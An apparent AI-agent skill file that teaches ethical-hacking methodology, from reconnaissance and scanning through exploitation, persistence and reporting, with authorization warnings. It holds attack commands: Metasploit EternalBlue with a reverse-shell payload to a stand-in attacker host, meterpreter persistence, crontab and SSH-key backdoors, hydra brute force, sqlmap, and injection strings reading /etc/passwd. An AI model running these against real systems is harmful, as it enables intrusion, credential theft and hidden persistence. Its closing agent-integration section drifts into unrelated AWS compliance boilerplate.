Ethical Hacking Methodology

Ethical Hacking Methodology

Purpose

Master the complete penetration testing lifecycle from reconnaissance through reporting. This skill covers the five stages of ethical hacking methodology, essential tools, attack techniques, and professional reporting for authorized security assessments.

Prerequisites

Required Environment

• Kali Linux installed (persistent or live)
• Network access to authorized targets
• Written authorization from system owner

Required Knowledge

• Basic networking concepts
• Linux command-line proficiency
• Understanding of web technologies
• Familiarity with security concepts

Outputs and Deliverables

1. Reconnaissance Report - Target information gathered
2. Vulnerability Assessment - Identified weaknesses
3. Exploitation Evidence - Proof of concept attacks
4. Final Report - Executive and technical findings

Core Workflow

Phase 1: Understanding Hacker Types

Classification of security professionals:

White Hat Hackers (Ethical Hackers)

• Authorized security professionals
• Conduct penetration testing with permission
• Goal: Identify and fix vulnerabilities
• Also known as: penetration testers, security consultants

Black Hat Hackers (Malicious)

• Unauthorized system intrusions
• Motivated by profit, revenge, or notoriety
• Goal: Steal data, cause damage
• Also known as: crackers, criminal hackers

Grey Hat Hackers (Hybrid)

• May cross ethical boundaries
• Not malicious but may break rules
• Often disclose vulnerabilities publicly
• Mixed motivations

Other Classifications

• Script Kiddies: Use pre-made tools without understanding
• Hacktivists: Politically or socially motivated
• Nation State: Government-sponsored operatives
• Coders: Develop tools and exploits

Phase 2: Reconnaissance

Gather information without direct system interaction:

Passive Reconnaissance

# WHOIS lookup
whois target.com

# DNS enumeration
nslookup target.com
dig target.com ANY
dig target.com MX
dig target.com NS

# Subdomain discovery
dnsrecon -d target.com

# Email harvesting
theHarvester -d target.com -b all

Google Hacking (OSINT)

# Find exposed files
site:target.com filetype:pdf
site:target.com filetype:xls
site:target.com filetype:doc

# Find login pages
site:target.com inurl:login
site:target.com inurl:admin

# Find directory listings
site:target.com intitle:"index of"

# Find configuration files
site:target.com filetype:config
site:target.com filetype:env

Google Hacking Database Categories:

• Files containing passwords
• Sensitive directories
• Web server detection
• Vulnerable servers
• Error messages
• Login portals

Social Media Reconnaissance

• LinkedIn: Organizational charts, technologies used
• Twitter: Company announcements, employee info
• Facebook: Personal information, relationships
• Job postings: Technology stack revelations

Phase 3: Scanning

Active enumeration of target systems:

Host Discovery

# Ping sweep
nmap -sn 192.168.1.0/24

# ARP scan (local network)
arp-scan -l

# Discover live hosts
nmap -sP 192.168.1.0/24

Port Scanning

# TCP SYN scan (stealth)
nmap -sS target.com

# Full TCP connect scan
nmap -sT target.com

# UDP scan
nmap -sU target.com

# All ports scan
nmap -p- target.com

# Top 1000 ports with service detection
nmap -sV target.com

# Aggressive scan (OS, version, scripts)
nmap -A target.com

Service Enumeration

# Specific service scripts
nmap --script=http-enum target.com
nmap --script=smb-enum-shares target.com
nmap --script=ftp-anon target.com

# Vulnerability scanning
nmap --script=vuln target.com

Common Port Reference

Phase 4: Vulnerability Analysis

Identify exploitable weaknesses:

Automated Scanning

# Nikto web scanner
nikto -h http://target.com

# OpenVAS (command line)
omp -u admin -w password --xml="<get_tasks/>"

# Nessus (via API)
nessuscli scan --target target.com

Web Application Testing (OWASP)

• SQL Injection
• Cross-Site Scripting (XSS)
• Broken Authentication
• Security Misconfiguration
• Sensitive Data Exposure
• XML External Entities (XXE)
• Broken Access Control
• Insecure Deserialization
• Using Components with Known Vulnerabilities
• Insufficient Logging & Monitoring

Manual Techniques

# Directory brute forcing
gobuster dir -u http://target.com -w /usr/share/wordlists/dirb/common.txt

# Subdomain enumeration
gobuster dns -d target.com -w /usr/share/wordlists/subdomains.txt

# Web technology fingerprinting
whatweb target.com

Phase 5: Exploitation

Actively exploit discovered vulnerabilities:

Metasploit Framework

# Start Metasploit
msfconsole

# Search for exploits
msf> search type:exploit name:smb

# Use specific exploit
msf> use exploit/windows/smb/ms17_010_eternalblue

# Set target
msf> set RHOSTS target.com

# Set payload
msf> set PAYLOAD windows/meterpreter/reverse_tcp
msf> set LHOST attacker.ip

# Execute
msf> exploit

Password Attacks

# Hydra brute force
hydra -l admin -P /usr/share/wordlists/rockyou.txt ssh://target.com
hydra -L users.txt -P passwords.txt ftp://target.com

# John the Ripper
john --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt

Web Exploitation

# SQLMap for SQL injection
sqlmap -u "http://target.com/page.php?id=1" --dbs
sqlmap -u "http://target.com/page.php?id=1" -D database --tables

# XSS testing
# Manual: <script>alert('XSS')</script>

# Command injection testing
# ; ls -la
# | cat /etc/passwd

Phase 6: Maintaining Access

Establish persistent access:

Backdoors

# Meterpreter persistence
meterpreter> run persistence -X -i 30 -p 4444 -r attacker.ip

# SSH key persistence
# Add attacker's public key to ~/.ssh/authorized_keys

# Cron job persistence
echo "* * * * * /tmp/backdoor.sh" >> /etc/crontab

Privilege Escalation

# Linux enumeration
linpeas.sh
linux-exploit-suggester.sh

# Windows enumeration
winpeas.exe
windows-exploit-suggester.py

# Check SUID binaries (Linux)
find / -perm -4000 2>/dev/null

# Check sudo permissions
sudo -l

Covering Tracks (Ethical Context)

• Document all actions taken
• Maintain logs for reporting
• Avoid unnecessary system changes
• Clean up test files and backdoors

Phase 7: Reporting

Document findings professionally:

Report Structure

1. Executive Summary

   • High-level findings
   • Business impact
   • Risk ratings
   • Remediation priorities

2. Technical Findings

   • Vulnerability details
   • Proof of concept
   • Screenshots/evidence
   • Affected systems

3. Risk Ratings

   • Critical: Immediate action required
   • High: Address within 24-48 hours
   • Medium: Address within 1 week
   • Low: Address within 1 month
   • Informational: Best practice recommendations

4. Remediation Recommendations

   • Specific fixes for each finding
   • Short-term mitigations
   • Long-term solutions
   • Resource requirements

5. Appendices

   • Detailed scan outputs
   • Tool configurations
   • Testing timeline
   • Scope and methodology

Phase 8: Common Attack Types

Phishing

• Email-based credential theft
• Fake login pages
• Malicious attachments
• Social engineering component

Malware Types

• Virus: Self-replicating, needs host file
• Worm: Self-propagating across networks
• Trojan: Disguised as legitimate software
• Ransomware: Encrypts files for ransom
• Rootkit: Hidden system-level access
• Spyware: Monitors user activity

Network Attacks

• Man-in-the-Middle (MITM)
• ARP Spoofing
• DNS Poisoning
• DDoS (Distributed Denial of Service)

Phase 9: Kali Linux Setup

Install penetration testing platform:

Hard Disk Installation

1. Download ISO from kali.org
2. Boot from installation media
3. Select "Graphical Install"
4. Configure language, location, keyboard
5. Set hostname and root password
6. Partition disk (Guided - use entire disk)
7. Install GRUB bootloader
8. Reboot and login

Live USB (Persistent)

# Create bootable USB
dd if=kali-linux.iso of=/dev/sdb bs=512k status=progress

# Create persistence partition
gparted /dev/sdb
# Add ext4 partition labeled "persistence"

# Configure persistence
mkdir /mnt/usb
mount /dev/sdb2 /mnt/usb
echo "/ union" > /mnt/usb/persistence.conf
umount /mnt/usb

Phase 10: Ethical Guidelines

Legal Requirements

• Obtain written authorization
• Define scope clearly
• Document all testing activities
• Report all findings to client
• Maintain confidentiality

Professional Conduct

• Work ethically with integrity
• Respect privacy of data accessed
• Avoid unnecessary system damage
• Execute planned tests only
• Never use findings for personal gain

Quick Reference

Penetration Testing Lifecycle

Essential Commands

Constraints and Limitations

Authorization Required

• Never test without written permission
• Stay within defined scope
• Report unauthorized access attempts

Professional Standards

• Follow rules of engagement
• Maintain client confidentiality
• Document methodology used
• Provide actionable recommendations

Troubleshooting

Scans Blocked

Solutions:

1. Use slower scan rates
2. Try different scanning techniques
3. Use proxy or VPN
4. Fragment packets

Exploits Failing

Solutions:

1. Verify target vulnerability exists
2. Check payload compatibility
3. Adjust exploit parameters
4. Try alternative exploits

When to Use

This skill is applicable to execute the workflow or actions described in the overview.

AGI Framework Integration

Adapted for @techwavedev/agi-agent-kit Original source: antigravity-awesome-skills

Memory-First Protocol

Cache compliance check results to avoid re-running expensive AWS API calls. Retrieve prior audit findings to track remediation progress across sessions.

# Check for prior security context before starting
python3 execution/memory_manager.py auto --query "prior security audit results for Ethical Hacking Methodology"

Storing Results

After completing work, store security decisions for future sessions:

python3 execution/memory_manager.py store \
  --content "Audit findings: 3 critical IAM misconfigurations found and remediated" \
  --type technical --project <project> \
  --tags ethical-hacking-methodology security

Multi-Agent Collaboration

Share security findings with other agents so they avoid introducing vulnerabilities in their code changes.

python3 execution/cross_agent_context.py store \
  --agent "<your-agent>" \
  --action "Completed security audit — 3 critical findings fixed, compliance score 94%" \
  --project <project>

Signed Audit Trail

All security findings are cryptographically signed with the agent's Ed25519 identity, providing tamper-proof audit logs for compliance reporting.

Semantic Cache for Compliance

Cache compliance check results (semantic_cache.py) to avoid redundant AWS API calls. Cache hit at similarity >0.92 returns prior results instantly.